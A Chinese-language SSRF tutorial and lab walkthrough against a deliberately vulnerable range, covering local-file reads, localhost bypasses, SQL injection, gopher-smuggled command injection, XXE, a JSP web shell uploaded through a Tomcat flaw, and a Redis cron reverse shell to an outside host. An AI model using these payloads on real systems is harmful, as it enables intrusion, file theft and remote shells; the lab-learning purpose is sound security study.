SSRF内网打穿相关姿势

简介: 本文详细介绍了服务器端请求伪造(SSRF)漏洞,包括其定义、漏洞场景、常见漏洞函数、URL伪协议及其利用方法。通过具体的靶机示例,展示了如何利用SSRF漏洞进行内网探测、命令执行、SQL注入、命令注入、XXE注入、Tomcat任意文件上传和Redis未授权访问等攻击。文章还提供了相关工具和参考资料,帮助读者更好地理解和应对SSRF漏洞。

一、前言

服务器端请求伪造(Server-Side Request Forgery, SSRF)是一种安全漏洞,攻击者可以通过 SSRF 诱使服务器发起请求访问内部资源或外部资源。通常,这种漏洞利用服务器的信任关系进行未授权的访问,可能会导致信息泄露、内部系统扫描、代码执行等问题。SSRF漏洞一般存在于Web应用程序中,这些应用程序接受来自用户的输入,然后将其用于向其他服务 器发出请求。攻击者可以在输入中注入恶意的URL,从而使服务器发起未经授权的请求,以访问敏感 的内部资源。  

简单来说就是SSRF 漏洞的根本原因是应用程序没有正确验证或限制用户输入的 URL 或 IP 地址,从而使得攻击者能够控制服务器发出的请求。

二、漏洞场景

SSRF漏洞一般存在于Web应用程序中,这些应用程序接受来自用户的输入,然后将其用于向其他服务 器发出请求。攻击者可以在输入中注入恶意的URL,从而使服务器发起未经授权的请求,以访问敏感 的内部资源。  

  • 文件上传功能:Web应用程序通常允许用户上传文件,攻击者可以上传包含恶意URL的文件,以触发SSRF 漏洞。
  • 图片处理功能:Web应用程序通常包含图片处理功能,攻击者可以在图片URL中注入恶意的URL,以触发S SRF漏洞。
  • URL重定向功能:Web应用程序可能包含URL重定向功能,攻击者可以在重定向URL中注入恶意的URL,以 触发SSRF漏洞。
  • API调用:Web应用程序可能会使用API与其他服务进行交互,攻击者可以在API请求中注入恶意的URL, 以触发SSRF漏洞。  
  • 分享:通过URL地址分享网页内容,攻击者手动更改分析网页内容
  • 所有目标服务器会从自身发起请求的功能点,且我们可以控制地址的参数,都可能造成SSRF漏洞

三、漏洞函数

这里拿php函数作举例

php:这些函数用于发出HTTP请求,包括常见的函数如curl_exec() 、file_get_contents()、fsockopen ()。如果这些函数允许从用户输入中获取URL,但未正确验证和过滤用户输入,攻击者可以通过在URL中 注入恶意代码来触发SSRF漏洞。  

curl_exec

格式:curl_exec(resource $ch)

作用:执行 cURL 会话  

file_get_contents

格式:file_get_contents(path,include_path,context,start,max_length)

作用:把整个文件读入一个字符串中。将整个文件或一个url所指向的文件读入一个字符串中。  

fsockopen

格式:fsockopen(string $hostname [, int $port = -1 [, int &$errno [, string &$errstr [, float $timeout = ini_get("default_socket_timeout") ]]]] )

作用:打开一个网络连接或者一个Unix 套接字连接。  

四、SSRF中URL的伪协议

file:/// 从文件系统中获取文件内容,如,file:///etc/passwd
dict:// 字典服务器协议,访问字典资源,如,dict:///ip:6739/info:
sftp:// SSH文件传输协议或安全文件传输协议
ldap:// 轻量级目录访问协议
tftp:// 简单文件传输协议
gopher:// 分布式文档传递服务,可使用gopherus生成payload

示例 file读取文件

<?php
  error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);

访问一些本地敏感文件

可以通过读取主机hosts文件获取当前主机的ip地址,得到网段情况

示例:dict端口探测

dict 协议是一个在线网络字典协议,这个协议是用来架设一个字典服务的。不过用的比较少,所以网上基本没啥资料(包括谷歌上)。在SSRF漏洞利用中,常常用来探测内网的应用信息  ,感兴趣的可以通过大模型来进行学习

SSRF中常配合dict协议探测一些端口开放情况,可显示出一些带tcp回显的端口

绕过

127.0.0.1,通常被称为本地回环地址(Loopback Address),指本机的虚拟接口,一些表示方法如下(ipv6的地址使用http访问需要加[]):
http://127.0.0.1 
http://localhost 
http://127.255.255.254 
127.0.0.1 - 127.255.255.254 
http://[::1] 
http://[::ffff:7f00:1] 
http://[::ffff:127.0.0.1] 
http://127.1 
http://127.0.1 
http://0:80
http://sudo.cc
另外,0.0.0.0这个IP可以直接访问到本地,也通常被正则过滤遗漏。

302跳转

<?php
header('Location:http://127.0.0.1/flag.php');

五、靶机示例

我们这里使用国光师傅的靶机

靶场的源码:Github - sqlsec/ssrf-vuls

靶场拓补如下:

先理清一下攻击流程,172.72.23.21 这个服务器的 Web 80 端口存在 SSRF 漏洞,并且 80 端口映射到了公网的 8080,此时攻击者通过这个 8080 端口可以借助 SSRF 漏洞发起对 172 目标内网的探测和攻击。

判断ssrf是否存在

尝试一下正常访问外网

访问hosts目录得到内网网段

探测内网端口

可以遍历C段扫描这里可以迭代或者集束炸弹(clusterbomb),我们这里使用前者

第二位设为" : "    第三位设置为常用端口的字典(我这里上帝视角只放了能渗透的端口)

经过遍历整理出来的端口开放情况:

172.72.23.21 - 80
172.72.23.22 - 80
172.72.23.23 - 80
172.72.23.24 - 80
172.72.23.25 - 80
172.72.23.26 - 8080
172.72.23.27 - 6379
172.72.23.28 - 6379
172.72.23.29 - 3306

172.72.23.22:80 命令执行

首先我们通过ssrf发现能将请求内网的机器正常回显

如果我们想进行正常的目录扫描工作,可使用burp进行爆破常见敏感文件字典

可以很明显看到一个phpinfo.php 和shell.php

phpinfo 算是一个信息泄露

172.72.23.22/shell.php?cmd=cat%20flag

一个简单的命令执行,如果使用浏览器请求的话得把空格换成%20就是经过url编码一次

如果是由burp提交需要经过二次url编码

172.72.23.23 Sqli

这台机器就是最简单的sql联注就直接拿下,通过一些特殊字符代替空格,特殊字符二次解码即可

url=172.72.23.23id=-1'/**/union/**/select/**/(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()),2,3,4%2523
url=172.72.23.23?id=-1'/**/union/**/select/**/(select/**/*/**/from/**/flag_is_here),2,3,4%2523

172.72.23.24 命令注入

这个功能点典中典,但是远没有那么简单。这里提交方式这个是POST,这里再经过了一手SSRF没有办法直接通过http协议请求

这里可以通过gopher 协议传参,gopher是一个古老且强大的协议,可以传递最底层的 TCP 数据流 gopher 协,现在已经不常用了,但是在 SSRF 漏洞利用中 gopher 可 以说是万金油,因为可以使用 gopher 发送各种格式的请求包,可以攻击内网的 FTP、Telnet、 Redis、Memcache,也可以进行 GET、POST 请求,还可以攻击内网未授权MySQL。因为 HTTP 协议也是属于 TCP 数据层的,所以通过 gopher 协议传递 HTTP 的 POST 请求也是轻而易举的。

格式:gopher://<host>:<port>/<gopher-path>/_<TCP数据量>
这里我们先通过前面的靶机手动生成下我们的poc,方便我们理解这个协议后面再通过介绍工具生成

抓取源的POST数据包,进行url两次转码

最终payload

url=gopher://172.72.23.24:80/_<加上两次URL编码后的TCP数据流>

删除这一段请求头:Accept-Encoding: gzip, deflate,如果不删除的话,打出的 SSRF 请求会乱码,因为被两次 gzip 编码了。

如图所示成功执行了我们的命令

172.72.23.25 XXE

这里xxe外部实体注入

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE user [
<!ENTITY xxe SYSTEM "file://etc/hosts" >]>
<user>
  <username>&xxe;</username>
  <password>admin</password>
</user>

老样子我们通过gopher协议提交

172.72.23.26:8080 Tomcat

CVE-2017-12615 任意文件上传漏洞,这在 Tomcat 漏洞历史中也是比较经典的一个。我这里早年写过一篇笔记,太简单了就不放上去了,没有复现过可的同学可以自行通过vulhub靶机来复现一次。

写入jsp一句话

<%
    String command = request.getParameter("cmd");
    if(command != null)
    {
        java.io.InputStream in=Runtime.getRuntime().exec(command).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1)
        {
            out.println(new String(b));
        }
        out.print("</pre>");
    } else {
        out.print("format: xxx.jsp?cmd=Command");
    }
%>

改为PUT上传

还是老样子我们经过两次url编码后通过gopher传输

先传一个马子进去,显示201则表示传输成功

再尝试执行一下

172.72.23.27:6379 Redis未授权

Redis是一个key-value 存储系统,是跨平台的非关系型数据库。 Redis一般绑定在本地的6379端口上,如果在没有开启认证的情况下,可以导致任意用户利用ssrf漏洞 攻击内网中的未授权Redis以及读取Redis的数据。 攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,如果运行 redis 的用户是 root 用户, 攻击者可以通过写定时任务的方式进行反弹shell。  

6379是redis的默认端口,输入完info后有信息回显redis版本号等等便可确认为未授权

可以通过dict协议创建定时任务反弹shell

# 清空 key
dict://172.72.23.27:6379/flushall
# 设置要操作的路径为定时任务目录,这里目标系统为ubuntu如果目标为centos可尝试将路径换成/var/spool/cron
dict://172.72.23.27:6379/config set dir /var/spool/cron/
# 在定时任务目录下创建 root 的定时任务文件
dict://172.72.23.27:6379/config set dbfilename root
# 写入 Bash 反弹 shell 的 payload
dict://172.72.23.27:6379/set x "\n* * * * * /bin/bash -i >%26 /dev/tcp/x.x.x.x/2333 0>%261\n"
# 保存上述操作
dict://172.72.23.27:6379/save

SSRF 传递的时候记得要把 & URL 编码为 %26,上面的操作最好再 BP 下抓包操作,防止浏览器传输的时候被 URL 打乱编码

成功上线

如果要用gopher手动生成数据传输攻击非常繁琐。可利用gopherus工具生成 支持生成mysql, postgresql, fastcgi, redis, smtp, zabbix,pymemcache, rbmemcache, phpmemcache, dmpmemcache

项目地址: https://github.com/tarunkant/Gopherus  

直接将生成的poc在网页上提交,注意这里我们需要更改一下生成的地址

监听成功上线

后面还有一些像mysql提权 因为我这里用的另一位师傅Duoduo-chino上传docker-compose文件直接拉的环境,后面的环境没放。我懒鬼就先不做了,项目地址:https://github.com/Duoduo-chino,这里如果有想所有一一复现的同学需要注意留心自己网络环境 可通过docker network ls 命令查看创建的网络名称,在后期启动容器时添加--network --ip 指定地址才可处于同一子网

六、参考

https://www.sqlsec.com/2021/05/ssrf.html#toc-heading-28

相关文章
|
1月前
|
监控 安全 网络协议
如何防止内网攻击?
如何防止内网攻击?【10月更文挑战第10天】
38 2
|
3月前
|
网络协议 NoSQL 网络安全
CTFHUB SSRF 【全】
CTFHUB SSRF 【全】
29 0
|
存储 安全 数据库
内网协议分析攻击类型
内网协议分析攻击类型
104 0
|
安全 网络安全 Windows
服务器的内网可以访问,外网却不能访问的问题
服务器的内网可以访问,外网却不能访问的问题
Apache2.4.9本地访问正常但是在局域网或外网IP拒绝访问
Apache2.4.9本地访问正常但是在局域网或外网IP拒绝访问
252 0
Apache2.4.9本地访问正常但是在局域网或外网IP拒绝访问
|
Web App开发 缓存 安全
HTTPS如何防止DNS欺骗?
HTTPS加密可以有效帮助服务器应对DNS欺骗、DNS劫持、ARP攻击等安全威胁。DNS是什么?DNS如何被利用?HTTPS如何防止DNS欺骗?
3168 0
|
Linux Windows
外网访问内网网站
外网访问内网网站 本地搭建了网站,只能在局域网内访问,怎样从外网也能访问本地网站? 本文将介绍具体的实现步骤。 1. 准备工作 1.1 安装并启动网站服务端 默认搭建的网站服务端端口是80。 2. 实现步骤 2.1 下载并解压holer软件包 Holer软件包:holer-xxx.tar.gz Holer支持各种OS系统平台,请选择跟本地OS类型匹配的holer软件包。
1442 0
|
Windows
外网访问内网Web服务器
本地安装了一个Web服务端,只能在局域网内访问,怎样从外网也能访问到本地的Web呢?本文将介绍具体的实现步骤。 1. 准备工作 1.1 安装并启动Web服务端 默认安装的Web服务端的端口是8080。
2274 0
|
监控 应用服务中间件 网络安全